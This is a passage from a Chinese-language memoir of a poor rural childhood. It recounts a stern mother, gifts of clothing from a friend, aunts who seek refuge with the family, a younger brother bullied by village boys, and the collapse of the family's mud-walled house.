“还炒两个菜!一锅出是的!炒什么两个!丝瓜哪要打皮吃,连皮一块儿吃是的。还打皮,张狂!”我妈妈沉着脸说。 我被沉痛打击了一顿。我以后炒菜再也不炒两盘子菜了。在我们这样的家里,连形式上的美感都是犯罪。 我记得我爷爷家吃丝瓜都是用他的小刨子刮皮的,我爷爷炒地丝瓜绿绿的,白白的。我妈妈炒丝瓜从来不刮皮,美其名曰,这样省。她炒出来的丝瓜因为没有刮皮,是黑黑的。让原本美味的丝瓜吃起来柴柴的,让人没了胃口,让人吃得不香甜,可能这就是她想要的效果。 我那时候依然没有什么衣裳穿,成天梦想着谁能给我几件甜美的衣裳。不知道是谁给了我妈妈两套蓝色的运动服,那是蓝白相间的绸纱布料的运动服,宽宽松松,穿上跟练功服似的。 我很喜欢这身儿衣服。 我跟我弟弟说:“小弟,我可喜欢这身衣裳了。你喜欢吗?” “不喜欢。”他说。他对穿着好像不怎么当回事。 “那你的衣裳够穿的吗?”我问他。 我弟弟说:“我的衣裳够穿了。” 我说:“那你的那身运动服给我穿行吗?我好换着穿。” 我弟弟说:“行。你拿走吧。”我弟弟一副无所谓的样子。 我得到了我弟弟让给我的衣裳,心里美滋滋的。 我在我家衣裳袋子里又找出来一件黄色的像是黄军装似的运动装,那其实是男生穿的衣裳,应该给我弟弟的。但是也被我据为己有了。 米米知道我没有衣裳穿,就把她不穿的几件羽绒服都给我了。一件绿色的丝绵的小棉袄,一件金黄色的厚厚的丝绵的小棉袄,一件黑色的羽绒服。最后,她把她姐姐买给她的那件灰色的羽绒服也给我了。 我问她:“这件羽绒服那么好看,你真的不要了?” “不要了!”她说。我就欢欢喜喜地收下来了。 我那时对米米也好,我会用我仅有的生活费里的钱给她买一盆漂亮的绿色的小树,上头挂上五颜六色的水晶似的塑料小挂件儿。我会给她买一个漂亮的风铃,让她开开心心好长时间。是的,我会心疼女孩子,我会给我喜欢的女孩子制造我自己这辈子没有得到的浪漫。有时候天要下雨了,我就赶紧跑到学校的小卖部,买上一把伞,跑到米米的教室里送给她。我的一篇作文得了奖,要去省城复赛。在回来的路上,我在等车的时候,看到地摊儿上有一个老头儿在卖圣诞老头儿,我就给米米买了一个。 米米后来去打工了,我们宿舍门口有个电话亭,我想她了就去花两毛钱给她打电话。她有空就给我来信,她在办公室做文员,字都是电脑打的。开头顶格的两个字“宝宝”用艺术字打的,打地很大很大。 她在信的末尾说:“宝宝,我发工资了,给你寄了二百块钱,你以后洗头别用洗衣粉了。” 3.五姨、六姨来我家 五姨已经有了一个丫头。等生了第二个丫头,我五姨决定出去躲计划生育了。当时是寒冬腊月,我五姨抱着孩子躺在板车上,装作出门看病,让我二姨夫拉着板车,就到了百里外的南乡,到了我家。 我妈妈说:“恁五姨可怜,生下孩子才三天,大冬天的,就那样躺在车上,怎么来的啊!” 我妈妈觉得五姨来投靠我们了。我倒是不以为然,我们的家,两间土墙的破屋,要住的没住的,要吃的没吃的。就那个寒碜样儿,谁愿意来啊。五姨抱着新生的孩子来我家真是吃了苦了。 后来,五姨要回去照顾大的,就让我妈妈帮着看着小的。我妈妈按照养活我们的办法,给小妹妹穿了土裤子。等我五姨来了,看到了我妈妈给她闺女穿的土裤子,就埋怨我妈妈:“三姐,你怎么给俺孩子穿土裤子的?” 我妈妈也不高兴了:“我以前给他姊妹仨就是这样穿的啊。把土炒地干干的,倒到小孩儿的裤子里头,小孩拉尿都在里头。大人省事。” 我五姨说:“俺是小女孩儿,你怎么能给俺这样穿的?我不是买了尿不湿吗?” 我妈妈说:“我好心好意的,你还埋怨我的?我给你照顾孩子多不容易啊,小孩儿夜里老是哭,我一夜要起十二回,眼都要熬瞎了。” 我五姨来了以后抱着孩子睡,孩子一夜不哭也不闹。我五姨说:“你说你一夜起来十二回,俺不信,小孩儿跟着俺,不是一夜都没哭吗?” 我妈妈也是没地方说理去:“你看看,人家妈妈来了,人家一夜都不哭。我说我一夜起来十二回,红霉素眼药膏都点了五六瓶,谁相信?” 我妈妈跟五姨各有各的道理,我内心深处还是同情我五姨和这个刚出生就要四处漂泊的小妹妹。她刚刚出生,就要离开自己的家,经历隆冬的苦寒,住进我们的寒窑一样的家,睡在破旧不堪的床铺上,我可怜的小妹妹啊。我妈妈还给人家穿土裤子,我觉得这也是我妈妈的不对,什么年代了,这不是懒人加邋遢的方法吗。 五姨每次来了以后,就会在我家住上一阵子,自己带带孩子。我妈妈太忙,五姨就自己烧大灶烧开水,给小妹妹冲奶粉。五姨烧的开水灌在她的暖水壶里。 我弟弟也是犯贱,动不动就去盯着我五姨的暖壶,问她要开水洗手:“五姨啊,我要热水洗手!”我五姨又要带孩子,又要烧开水,她烧壶开水哪那么容易。 我五姨就没好气地冲他说:“热水是我烧了给小华冲奶粉的!你要洗手到河沿洗去!” 冬天,河沿的水冰凉刺骨,我妈妈一看,开始心疼她儿子了。这样一来,姊妹之间就有了怨言。 后来,肯定也是我弟弟犯贱,又瞅我五姨不在的时候,跑去偷小娃娃的奶粉吃。我五姨发现了,又把我弟弟训一顿。 “小鸿雁!我给小华买的奶粉怎么少了的?肯定是你偷吃了!你再偷吃她的奶粉,我打断你的狗爪子!”我五姨骂道。 “我没偷吃小华的奶粉,五姨。”我弟弟当然不承认。 “不是你是谁?我上回亲眼看到你偷吃奶粉,我没吭声儿的。你这回又偷吃了!你下回再偷小华的奶粉吃,我饶不了你!”我五姨说。 “怎么回事儿啊,五妹妹?我怎么听到你吵鸿雁的?”我妈妈沉着脸问我五姨。 “俺五姨要揍我!说我偷她的奶粉!”我弟弟眼泪汪汪地说。 “他偷吃梦华的奶粉!我跟他说的,他下回再偷吃,我打断他的爪子!”我五姨说。 “鸿雁到底偷没偷你的奶粉哎。你不问清楚你就吵他啊。你看你把他给吓得。”我妈妈说。 “他偷吃好几回了!他还说没偷来。我半罐子奶粉都给他偷吃了。我问他他还不承认。”我五姨说。 “他没偷他当然不承认喽。你无缘无故地就说是他偷的?你有事实根据吗?”我妈妈说。 “我买的奶粉搁这来,就他跟笑笑知道。笑笑那么老实,不是鸿雁是谁?自己的孩子什么样儿自己还不知道!”我五姨没好气儿地跟我妈妈说。 “我的孩子什么样儿?”我妈妈说,“我的孩子我从小就教育。犯了错,我又吵又骂,又咒又打。天底下骂惯孩子的,我不心惊。俺孩子人穷志不穷。你说是他偷你的奶粉,我是不相信。” “你不相信啊?你是护窝子!他明明偷了我的奶粉,你还硬给他护着。不凭良心。”我五姨说。 “谁不凭良心啊?俺恁么点儿的小孩儿,天天‘五姨五姨’地喊干口。他问你要口热水洗手你都不给,你还把他往河沿里赶。狗养的狗疼,猫养的猫疼。不养的不疼。谁不心疼自己的孩子!你光疼自己的孩子了,你对俺鸿雁,今天吵,明天骂。你还说我是护窝子!你才是护窝子!”我妈妈说。 “你就是护窝子!你是护窝子!”我五姨厉声骂道。 “你是护窝子!你是护窝子!”我妈妈厉声跟我五姨吵道。 “俺走!不搁恁家住!”我五姨说着,掉下泪来。她抱着孩子去收拾东西。 我妈妈看我五姨要走,心又软了下来。可是她的嘴却是软不下来。 “你走走是的!你走了就别回来!”我妈妈跟我五姨说。 “俺走!”我五姨哭着说,“俺去小鲁村!俺不搁恁家。俺搁恁家来,俺大人孩子都不称恁的心!” 我五姨哭着抱着孩子走了。我五姨的脾气刚烈。我妈妈一家子的脾气都刚烈。 要我说,这件事,从头到尾就是怪我妈和我弟弟。我五姨一个妇女抱着孩子躲到南乡,投奔我家,多不容易,我妈妈应该多多同情多多理解多多帮助我五姨,干什么跟她高高低低地计较啊。我妈的性子也太不柔软,五姨是她的亲姊妹,她们平时在娘家怎么吵都无所谓。现在五姨是在难中,她不嫌弃我家,抱着婴孩投奔了来,我妈妈怎么就不能将究一下,让着我五姨呢。 我妈妈的脾气我是知道的,太不讲究了。即使是我,到了难处,一个人抱着孩子在她家过,一旦跟她争吵起来,她也照样会这样毫不示弱。我弟弟呢也是犯贱,你洗个手为什么非要用五姨烧的开水,她一个妇女带着个孩子有多不容易。你平时嘴馋就算了,你干嘛去偷五姨的奶粉,她要养活两个孩子,她自己不能劳动,全靠五姨夫一个人。她们四处躲计划生育,需要多少花费,她买个奶粉容易吗?虽说我弟弟那时候也只有十来岁,也还是个孩子,但我觉得,他做的不对。从小看大,三岁看老。我弟弟做事也是太不自觉。 冬天,我弟弟拿丝网逮了很多小鱼。天冷冷呵呵的,我们躲在屋里不敢出来。我妈妈坐天井里,把我弟弟拿丝网逮的那些小鱼一个个地在井台边挤了,洗净。 我问她:“妈,你冷吧?” “我挑的井温水,不冷!”她说,“这些小鱼儿,给山东恁几个姨送去。让她们分分。靠山吃山,靠水吃水。山东,没有鱼吃。不像咱,离河沿近。” 她边洗边说:“小鱼儿,可怜吧!小鱼小鱼你别怪,你是庄户人的一道菜。” “这些小鱼也给俺五姨吗?”我问她。 “给!恁五姨家孩子多。还要多给她呢。”我妈妈说。 “你跟俺五姨搭腔了?”我又问她。 “搭腔了。姊妹之间吵几句,哪有不搭腔的。我上回去恁姥娘家,恁五姨还去看我。”我妈妈说,“恁五姨生小男孩了!叫龙龙。” 我说:“俺五姨生了小男孩儿了?” 我妈妈说:“恁么多年,恁五姨就盼着生个小男孩儿。恁五姨跟恁五姨夫找恁大姨看,跑到北山里找神婆子看。人家让她买一块肉,烧好了,女的端给男的,男的躲到门后头吃,吃完了再行床。床底下,铺着神符子。说是这样能生男孩,恁五姨什么方儿都使了,就是没生男孩儿。这回可生了小男孩儿了。” 我说:“俺五姨拿着这个小男孩儿惯吧?” 我妈妈说:“恁五姨拿着她那个小男孩儿可惯了!人家两口子现在就开始给小龙龙攒钱了。人家给小龙龙都攒了五万块钱了!” 后来,我六姨也来过我家。那天,是一个阴晦的天气,我自己坐在天井里。突然,我看到我六姨骑着自行车来了,她到了我家大门口儿,把自行车停下来,从自行车前头大梁上的小板凳上,抱下她的大女儿,我的小妹妹,林林,她当时才两三岁。天有些冷,我六姨穿着厚厚的棉衣,小妹妹也穿地圆滚滚的。 我很惊讶,我问六姨:“六姨,你怎么来俺家了?” 六姨个子高,生来老实憨厚,没多说什么,只是闷闷地说:“来过蒙儿。” 我让六姨来屋里坐,等我妈妈干活回家。我跟她多年不见,也是不知道该说什么。 我很惊讶六姨为什么来我家。六姨在山东,我家在南乡,相隔百里,天气又冷,六姨怎么一个人骑着自行车,带着那么小的孩子来了。何况,我家那么狭窄那么破旧那么寒碜,邻居都不愿来串门儿,六姨居然要带着那么幼小的孩子来住下。我家能给她什么呢?这样想着,我更不知道该给六姨说什么了。从我家恶劣的家庭条件来说,我打内心里倒是真地不欢迎六姨来我家吃苦受罪了。 不一会儿,天色黑了,我妈妈干活儿回家了。她对我六姨的到来倒是没有那么惊讶。原来,我六姨跟六姨夫吵架了,她是来我家来躲气的。我妈妈干一天的活也累了,该做晚饭了。从我内心来讲,我跟六姨多年不见,六姨以前对我那么好,她如今贵客临门,我多想我家可以给我六姨做一顿丰盛的晚饭啊,哪怕我自己不吃呢。可是,我家实在没有大鱼大肉,连清粥小菜都没有。我妈妈烧了我家一贯吃的黑黑的粗面汤。那天,我妈妈不知道从哪里弄的几个丸子,切了切,放进锅里,六姨就这样跟我们一起吃了顿晚饭。我当时已经上高中了,既为我家的穷困而难为情,更为我家没有好的饭菜来招待六姨而羞愧。这样一来,我跟六姨的话更加少了。六姨根本不知道我的心思吧?她会不会觉得我对她冷淡呢?她不会以为我是嫌她来我家吧? 吃完饭,该准备睡觉了,我家睡觉的地方就更不用提了。我家的那个破床,不但没有好的铺盖,反而是破旧地稀里哗啦,也不整洁。我心里正担心六姨怎么睡,她的那个小孩子可怎么睡。 只见六姨把她的棉袄脱下来,铺在床上,把她的小林林放在床上躺下。 “乖,听话,咱出门儿在外不容易。”我六姨跟她躺在我家床铺上的小小的女儿说。 小林林很乖,躺在那破旧的床上,小声哼哼了几声儿,就乖乖地睡了。 可怜那幼小的孩子,她跟着她的妈妈,一路上是怎么来的?她在我家又是怎么吃的?怎么睡的?六姨那天为什么要来我家呢?她就没有其他亲戚了吗?她真的不该带着孩子来我家受苦呀。 我不知道该说什么,我特别想好好地接待六姨,给六姨吃好喝好住好。可是我没有那个本事。面对六姨跟她弱小的孩子,我无能为力。我默默地无奈地看着这一切,心里出于自责和羞愧,就更加不怎么说话了。我可能就是这样的性格,看到自己的亲人受罪,自己又没有本事让她们享福,我就自责的很,但是又说不出口,只是自己默默地憋着。 我记得我妈妈有时候看我的眼神也是那样的。有些冷峻,有些冷漠。以前,我是不能够懂得。有了孩子以后,我开始明白了我妈妈以前看我的眼神了。她想给我们更好的,她知道我们配,她知道我们如果生在条件更好的家庭会比现在更好,可是她没有本事给我们更好的,她反而给了我们特别差的。她就用那种在我眼里不但不慈祥,反而有些冷峻的眼神,看着我。我以前不知道妈妈的眼神里是什么,现在我知道了,那是自责,是无奈,是在艰难生活重压的倔强和不甘。她知道说了也没有用,所以她看着我,什么都不说。 19. 我家的屋塌了 1.我家的屋塌了 我弟弟妹妹在凡庄上小学,姓凡的那些小孩儿也在凡庄上小学。他们是本庄人,亲戚朋友多,又有爸爸在,家境又好。凡庄的其他小男孩基本上都听他们的号召。我弟弟年龄跟他们差不多,常常被他们欺负。 一个夏天,我弟弟去镇上给我送饭。我弟弟那时候个头儿刚开始窜,长得高高瘦瘦,穿着淡蓝色的短袖,我宿舍的同学都夸他长得清秀。 他把我妈妈烙的煎饼送给我,我让他在我宿舍坐会儿。 我弟弟坐在我的铺沿儿上。过了一会儿,他有些凄凉地对我说:“大姐,我这回回家,不知道是死是活了。” 我赶紧问他:“怎么回事儿啊!” “凡乐家的小三儿跟姓凡的几个小男孩,要在半路上拦我,把我打死!” 我说:“你在这别走。晚上放学,我跟你一块儿回家。” “行!”我弟弟说。 过了一会儿,他说:“大姐,我还是先走吧。过会儿怕有大雨。” 我说:“那也行。那你千万注意安全。路上小心。小三儿他们会不会在半道儿上拦你啊?” “这两天还不会。” “你走哪条路?” “我走小刘庄那条路。” “那条路上,听说有个高压电线,下雨天起火了。你经过的时候要小心!” “知道了。” 我弟弟走了。我一直提心吊胆的,怕他路上挨打,怕小三儿找人拦他。怕他路过高压电线的时候有危险。我就这样一直胡思乱想地,到了晚上放学回到家,见到了我弟弟,看到他安然无恙,我才放下心来。 晚上,我妈妈从地里干活儿回来了。吃完晚饭,我们准备睡觉了。几个小男孩儿要打他的事,我弟弟不知道跟我妈妈说。 我跟我妈妈说:“妈,你说怎么办,凡乐家的小三儿要打俺弟弟,你得给他处理好。处理不好,他们真把俺弟弟打死了,怎么办。” 我妈妈问我弟弟说:“恁大姐说的是真事儿啊?西院儿的小三儿要找人打你啊?” 我弟弟说:“是真事儿。小三儿找了二奎,大猛、还有东庄上的凡宝的小孩儿。小三儿跟他们几个说好了,回头要一块儿打我,把我打死。” 我说:“妈妈,你说怎么办?你去挨家挨户找他娘!今天晚上就去,别等到明天,他们真把俺弟弟怎么样了。” 我妈妈说:“行!这些小孩,他娘我也认得。平时跟我说话也蛮好的。怎么小孩儿能这样呢。” 我说:“都是西院儿的小三儿坏的。凡乐家的小三儿太坏了。” 我妈妈问我弟弟说:“要打你的那些小孩儿你都记得吧?” 我弟弟说:“记得。” 我妈妈说:“我带你去,咱到他门儿上,跟他爹娘好好说说。” 我说:“妈,我就不去了。我跟俺小妹一块儿搁家来。你带俺小弟去吧。” 我妈妈说:“你一个大闺女不要去。我带恁小弟去就行。” 我在家里睡着,没跟着去,我妈妈带着我弟弟,挨家挨户,去登门找了那些小男孩儿的娘。 过了没多久,我听到我妈妈跟我弟弟开开心心地说着话回来了。 “明天你去上学,跟那些小孩儿见了面儿,说话也好好的,别跟他们闹架。”我妈妈说。 “哦。”我听到我弟弟的回答,听他的语气,这场风波算是平息了。 “找到那些小孩儿的娘了吗?”我问。 我妈妈说:“找到了。那些小孩儿的娘干完活儿,都回家了。人家那些小孩儿的娘都通情达理的,我把那些小孩儿要打鸿雁的事儿跟她们说了,人家各人都教育各人的小孩儿。有的小孩儿还不承认要打鸿雁,有的跟我说实话了,不是人家想打鸿雁的,都是凡乐家的小三儿坏的。” 我说:“我搁外头上学,凡庄的人我都躲得开。俺小弟小妹搁凡庄上学,跟凡乐家的小三儿搁一块儿。光受小三儿的欺负。咱家的事儿,小三儿还到处跟人家说。人家凡庄上的小孩儿肯定看不起俺小弟小妹。” 我妈妈说:“恁小弟小妹跟着我可受罪了。我去湖里干活儿,没时间烧饭。恁小弟小妹晌午放了学,还得自己烧饭。晚上放了学还得去湖里帮着我干活。” 我说:“那多耽误学习啊。” 我妈妈说:“耽误学习也没办法。咱家就这样。我平时不让笑笑帮我干活儿,笑笑还光想干来。笑笑就喜帮我干活儿,学习是一点儿都不奔。没有一点儿学堂心。” 我说:“俺小弟行,他一开始上学的时候就比我聪明。俺小弟数学比我还好来。” 我妈妈说:“算命占课的。恁小弟比你还有学堂心。你有七分的学堂心。人家鸿雁有十分的学堂心。” 我说:“就是咱家的环境太差了。咱家穷。人家凡庄上的小孩儿还欺负他。这多影响学习了。你跟他老师校长都说说。别让凡庄的小孩儿天天打他骂他的。他成天被那些小孩儿欺负,还怎么学习啊?实在不行,我去跟他老师校长说说。” 我妈妈说:“你不要去。人家他老师校长对咱家蛮好的。上回恁弟弟的老师来咱家,人家也不嫌咱家脏,一腚就拍到咱家的铺沿儿上。” 我问我弟弟说:“他哪个老师啊?” 我妹妹说:“俺哥的班主任老师。韩舞剑。长得可帅了。” 我弟弟说:“他哪好啊?俺多出来的学杂费都被他贪污了,给他未婚妻买东西了。俺问他要他还拖着不给来。” 我说:“那他这还叫好啊?光嘴上好有什么用啊?” 我妈妈说:“他也是一时糊涂,没想开呗。后来人家给退回来了。人家跟俺说话那个客气呢的。” 我说:“妈,我听你的口气,你还蛮喜韩舞剑老师的。” 我妈妈说:“人家老师好,俺不喜人家嘛。” 我弟弟说:“哼!韩舞剑现在被抓起来了。你以后想见也见不到他了。” 我妈妈连忙问:“怎么回事儿啊?” 我妹妹说:“韩舞剑老师杀人了。” 我妈妈说:“啊?韩舞剑老师杀人了?” 我弟弟说:“他未婚妻读研究生,他挣的钱都供他未婚妻上学了。他未婚妻后来看不上他了,跟旁人谈了。韩舞剑觉得自己被坑了,就把他未婚妻给杀了。” 我妈妈说:“啊?恁班主任老师杀人了?你说可惜吧,恁好的一个人。怎么恁么想不开的。” 一个响晴的天气,我妈妈去地里干活儿去了。她在我家天井里摊了很多烂秫秸来晒。我们三个在那些秫秸边儿上玩。 我弟弟看了看我说:“你跟大黄狗一样。” 我笑着说:“我哪里像大黄狗的?你怎么说我像大黄狗的?” 我妹妹说:“姐,俺哥跟顾静叫大黄狗。他跟顾丹、顾静玩地好。凡庄的小男孩儿欺负俺哥,顾丹、顾静都同情俺哥,觉得俺哥可怜。” 我说:“人家小丫头儿对你恁么好,你怎么跟人家叫大黄狗的?” 我弟弟说:“顾静像大黄狗。顾静个儿高,爱穿黄色的衣裳。” 我说:“顾丹个儿小吗?” 我妹妹说:“顾丹个儿小。跟小女孩儿样。” 我说:“男孩儿都喜欢个儿小的啊?” 我弟弟说:“这个就跟小狗小猫一样。你看,人都喜欢小狗,小猫,喜欢把它抱在怀里,没有人喜欢把大狗大猫抱在怀里吧。” 我妹妹说:“姐,人家都说,顾丹喜欢俺哥。” 我说:“真的?” 我妹妹说:“顾丹还给俺哥写了一张纸条子呢。” 我说:“纸条子搁哪儿?上头写的什么?给我看看。” 我弟弟跑到屋里拿出来一个白白的小纸条儿。 “我看看!”我说。我把那张小纸条儿拿了过来。 纸条子上头写的是: “雁儿,为什么会这样?他们为什么要这样欺负你?可怜的雁儿。” 那字条儿是用铅笔写的。小女孩儿的字迹不错,虽是短短的几行,但是充满了慈悲的心肠。 我既为我弟弟感到欣慰,又为他感到难过。我笑着说:“那鸿雁以后要对人家小女孩儿好一点儿。咱家有什么好吃的,你给人家带点儿。咱家里不是有糖吗?回你上学带上一把。” 我弟弟说:“行。我带到学校,给大黄狗吃。” 我们姐弟三个正在天井里站着,我妹妹突然说:“俺哥!顾丹顾静来了。”我抬眼一看,在大恶心家西头的巷口子那里,有两个小女孩推着自行车慢慢走了过来。 我赶紧起身去迎接,我弟弟也赶紧起来去迎接。我弟弟走到了凡乐家门口,成功地把我们那个破烂的家挡在了身后。我觉得我弟弟做地对,我们那个烂糟的家确实见不了人,更见不了这样心疼我弟弟的多情女子,尽管她们还只是六年级的小小的女孩子。 我一眼看出来走在前头的个头高大一些的小姑娘,她就是顾静了。她扎着双马尾,穿着干净的蓝色的衣裳,面皮粉粉的,眼睛大大的,白白胖胖,清清秀秀。虽然是个六年级的小姑娘,如果扮上戏服,活脱脱一个《牡丹亭》里的杜丽娘。那个个子小小的小姑娘,自然就是顾丹了。顾丹脸蛋儿身量都偏小,面皮红红的,抿着嘴,像一朵娇弱的山丹丹,她两手推着比她还要高的自行车,默默地悲哀地看着我弟弟。 顾丹、顾静看见我弟弟,都停了下来,呆呆地看着我弟弟。我弟弟也呆呆地看着她们,她们三个一时谁都没说话。 我作为大姐,笑着跟这两个好心的美丽的小女孩说:“恁来看鸿雁的啊,谢谢恁啊。” 我家正好有糖块儿,我赶紧跑回家抓了两把儿糖块儿,装到她们两个的衣兜里。我知道我弟弟的想法,我家太给他丢脸,我也没有邀请她们来我家。 我弟弟呆呆地看了看她俩儿,跟她们说:“恁回去吧。”这两个女孩子就又回去了。 我想着那两个可爱的女孩儿,问我弟弟说:“顾丹跟顾静快到家了吧?” “她们应该快到家了。小刘庄跟凡庄离地近。”我弟弟说。 我妈妈回家以后,我们跟她说:“妈,顾丹顾静来咱家了,来看俺小弟的。” 我妈妈说:“哦,顾丹顾静来咱家玩儿的?” 我说:“人家没来咱家,就搁大恶心家后头那个巷口子站站。” 我妈妈说:“恁不让人家来咱家坐会儿的。” 我说:“咱家恁么穷,怎么让人家小女孩儿来啊。鸿雁不要面子啊。” 我妈妈说:“哦,不来就不来吧。我刚才遇到恁国美爷爷国美奶奶了。他让我明天去恁小弟小妹的学校推大粪!” 我说:“什么?你要去俺小弟的学校推大粪?” 我妈妈说:“啊。谁不想要学校的那些大粪啊。省地买化肥了。要是搁平时,人家校长还不让呢。这是恁国美爷爷跟恁国美奶奶看着咱家穷,买不起化肥。跟校长说说,校长同情咱,才让我去推的。” 我说:“你去俺小弟的学校里推大粪,俺小弟的同学知道了,人家不笑话他啊?” 我妈妈说:“啊,那怕什么的?谁笑话谁笑话哎。只要鸿雁自己知道他妈妈不易就行。” 我说:“俺小弟长大了,自尊心强。人家小孩都笑话他,他还怎么上学啊。” 我妈妈说:“儿不嫌母丑,狗不嫌家贫。人家一个老头儿,他儿上大学,老头儿光着膀子背着煎饼去给他儿送饭。学校的门卫看他穿地破破烂烂的,拦着不让进。老头儿说,谁谁是俺儿,我是他爹!我来给俺儿送饭的!门卫把他儿喊来。他儿赶紧扯着他爹的手儿,把他爹带到学校里去了。人家都不嫌他爹穿地不好。” 我说:“说是这样说哦。他爹光着个膀子,他不嫌,人家同学不笑话他啊。恁是一点儿都不照顾小孩儿的自尊心。” 我妈妈说:“自己的小孩儿,爹娘去他的学校,还得打扮多好?老农民,成天土里趴,土里坐,忙地跟烧火棍戳了腚似的,穿恁么好干什么?有好的也穿不住。给我身儿绫罗绸缎,我能穿吧?一会儿就弄脏了。东庄上的恁三大娘,去开个家长会还得买上双皮鞋儿,她闺女说的,她娘不穿皮鞋,她就不让她娘进她学校,嫌她娘给她丢人。呸呸呸!穿个皮鞋儿就有身份儿了?我看还是那个熊样儿。屙洋屎!” 我说:“也不是非要穿皮鞋。我还不喜欢看人家穿皮鞋呢。就是说,小孩儿也要面子,家长去学校也得板板正正,干干净净的。你穿得邋里邋遢的,自己的小孩不会看不起,是人家同学看不起。人家同学不但看不起你,人家还看不起小孩。这给小孩儿多大的压力。” 我妈妈说:“什么压力不压力的?能吃饱穿暖上学就行了。哪那些鬼吹灯的事儿。俺不跟你说了。俺明天得赶紧去学校拉大粪去。别回人家校长老师不让拉了。” 我那青春期的弟弟,他斯文秀气,一天天的长高。可他家里穷得不像样子,他的娘不仅穿得邋遢,还去学校出大粪,他每天都要被人欺负、嘲笑。这逼仄的阴暗的环境,天天挤压着他,可怜他幼小的心脏是怎么承受的。他的父亲在他六岁的时候就早早去世,母亲无知无识,只顾埋头啃土刨食,根本不知道,他的灵魂早已在苦难的漩涡里呼救哀嚎。 我跟妹妹彼此还有个姐妹知音,只有他孤孤单单一个人。他变了,变得暴戾,变得对这个世界嗤之以鼻。他被人欺负了无力回击,他就沉浸在武侠小说里。他被人围攻,被人打脸,他就爱上了武功,时不时地比划几下自己杜撰出来的拳法。他把自己和自己喜欢的女生幻想成武侠小说里头的角色。在我们那寒碜凄怆的家里,和处处是凡姓家族的村里,也只有小说,能使人暂时逃离那些无处可逃的压力了。 其实,我弟弟从一开始上一年级的时候就比我聪明,如果我爸爸还在,他的心境真地会好很多,他这一生真地会好很多。可是很不幸,他的爸爸不在了。尽管这怨不了别人。只能怨命。是命运的安排,让他成了流落他乡、受人欺负的孤儿。命运抛给他的,不管是石头还是瓦块,他都得接着,老老实实伸出手来。除此之外,一个孤弱的小孩儿,一个丧父的幼儿,他还有什么能耐。 屋漏偏逢连阴雨。我是深切地知道这句话的滋味儿。我家的屋顶是麦草的,年久失修,经常漏雨。我跟我妹妹睡在一起。我妹妹是七八岁的小孩儿,每逢夜里屋顶漏雨,雨水滴落在我妹妹的脸上,我妹妹睡着就哭起来。每当这时候,我就很生我妈妈的气,怪我妈妈不把屋顶收拾好。 “妈!咱家漏雨了!俺小妹哭了!”我坐起来,看着我小妹,愤愤地跟我妈妈说。 我妈妈说:“啊?屋顶又漏雨了?我找个化肥袋子,给笑笑盖在身上。明天再说吧。” 我妈妈说着,去找了个化肥袋子给我妹妹盖在身上。我妹妹停止了哭泣,慢慢地又睡着了。 我跟我弟弟都埋怨我妈妈,不会收拾屋子。我爷爷怎么就把他的屋子收拾地那么好呢。我爷爷家也是麦草屋顶,麦草烂了由黄变地黑灰了,塌了,陷了,不遮雨了,我爷爷就重新翻修屋顶。翻修屋顶要准备好麦草,还要找人,一起架起梯子,上屋顶上去,把之前枯白泛黑的麦草掀掉,换上金黄的崭新的麦草。屋顶换上了新的麦草,人的鼻子里都仿佛闻到了麦草的甜甜的味道。每逢下雨,那雨水就顺着麦草的空心儿管子往下淌。圆圆的水珠坠在麦草的尾巴上打秋千,半天也不肯掉下来。 一天,我跟弟弟妹妹在家,妈妈去山上薅草去了。快到中午的时候,我家堂屋门前的一面墙,“轰隆隆”一阵雷鸣,一股子乱石从墙壁里拱出来了。我家的屋塌了,幸好我们都不在里头,幸好我们的小屋没有全塌。 中午,我妈妈回来了。她去找了大队书记。大队书记庆丰来了,庆丰四十左右的年纪,官运亨通,春风得意,他边抬眼看看我家的破墙,边从上衣兜里掏出电动刮胡刀,“滋滋”地蹭着半边脸刮胡子。 庆丰说,庄里正好有这项扶贫项目,下雨天墙倒屋塌的贫困户,村里出钱给他盖屋。 那年秋天,我家真地开始盖屋了。我们还是要住在原来的旧屋里。屋外,墙倒了半面,我妈妈用种大棚用的蓝色的厚厚的塑料纸围着。我们在里头睡觉,一抬眼就能看到外面的明月别枝惊鹊,和亮白的天空。 2.可乐大哥 我妈妈说:“咱家没有地方住,鸿雁去恁凡意大爷家里,跟着恁可乐大哥住吧。白天还能跟着可乐大哥一块儿上学。” 我说:“我满喜欢凡意大爷凡意大娘的。凡意大爷笑笑地,凡意大娘的半边脸是怎么回事儿?好像动过手术一样。” 我妈妈说:“恁‘花了棒槌’大娘啊?她的脸从小就那样。” 我问我妈妈:“俺大娘怎么叫‘花了棒槌’的?” 我妈妈说:“恁凡意大爷跟凡意大娘是媒人介绍的,两个人刚一见面,恁凡意大娘看了看恁凡意大爷说,跟个四不像子似的。恁凡意大爷看了看恁凡意大娘说,跟个花了棒槌似的。这以后,庄上的人就跟恁凡意大爷叫‘四不像’,跟恁凡意大娘叫‘花了棒槌’。” 我说:“俺凡意大爷跟俺凡意大娘感情蛮好的。我从来没见过他们吵架。” 我妈妈说:“两个人也吵也闹哦。你是没看到的。有时候搁地里,正干着活儿,恁凡意大娘跟恁凡意大爷就吵起来了,恁凡意大娘对着凡意大爷骂。恁凡意大爷脸上挂不住,抬手就要打。‘我打死你个龟孙娘们儿!’恁凡意大爷的巴掌抬了又抬,就是不知道该往哪儿放。” 我说:“那是凡意大爷好,不舍得打媳妇。俺凡意大爷跟俺凡意大娘恁好,怎么生了可乐这样儿的的?” 我妈妈说:“谁知道来。可乐天天不干好事儿。鸿雁跟可乐一块儿住,我还怕鸿雁跟他学瞎了来。” 过了些日子,我妈妈又想办法,让我们三个一起住到二亮家里。大亮、二亮、三亮是凡奎大爷的儿子。三个亮如今都去了上海。他们农村老家的屋没有人住,都荒芜了。大亮家的屋在后头,因为计划生育被挖掘机挖了个大窟窿,不能住人了。二亮的屋在他哥家的正前方,早就长满了蒿子。 我妈妈带着我们到了二亮家的一间偏房里,拿钥匙打开了门,跟我们说:“恁姊妹仨以后就住这儿吧。等咱盖上屋,恁再搬回家。” 我说:“妈,二亮不是不搁家吗?你搁哪儿找的钥匙?” 我妈妈说:“二亮不搁家,让国福家的帮他管理钥匙。我找国福家的拿的。” 我妈妈在靠西山墙的小床上铺了张席,地上给我弟弟打了一个地铺。靠北墙那里,还有一个写字台。这里虽然有些阴暗潮湿,倒是比我家要好的多。 “恁姊妹俩住铺上,鸿雁打地铺。”我妈妈说。 “行!”我说,“妈,大亮、二亮都去上海了?不回来了?” 